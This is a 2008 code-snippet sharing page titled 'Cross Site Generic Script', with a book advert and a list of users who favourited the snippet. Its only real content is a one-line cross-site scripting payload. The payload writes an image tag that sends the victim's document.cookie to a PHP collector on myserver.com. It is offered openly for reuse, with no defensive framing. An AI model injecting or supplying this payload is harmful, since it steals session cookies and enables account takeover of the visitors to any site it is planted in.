We Recommend

Pro JavaScript Techniques Pro JavaScript Techniques
Pro JavaScript Techniques is the ultimate JavaScript book for the modern web developer. It provides everything you need to know about modern JavaScript, and shows what JavaScript can do for your web sites. This book doesn't waste any time looking at things you already know, like basic syntax and structures.


Posted By

section31 on 07/06/08


Tagged


Versions (?)


Who likes this?

3 people have marked this snippet as a favorite

SpinZ
jdstraughan
wizard04


Cross Site Generic Script


Published in: JavaScript 


This is linked to this http://snipplr.com/view/7148/cross-site-generic-script-write-cookie-data/

  1. <script type='text/javascript'>document.write('<img src=\'http://myserver.com/storecookiedata.php?cookie_data=' + encodeURIComponent(document.cookie) + '\' />');</script>

Report this snippet 

You need to login to post a comment.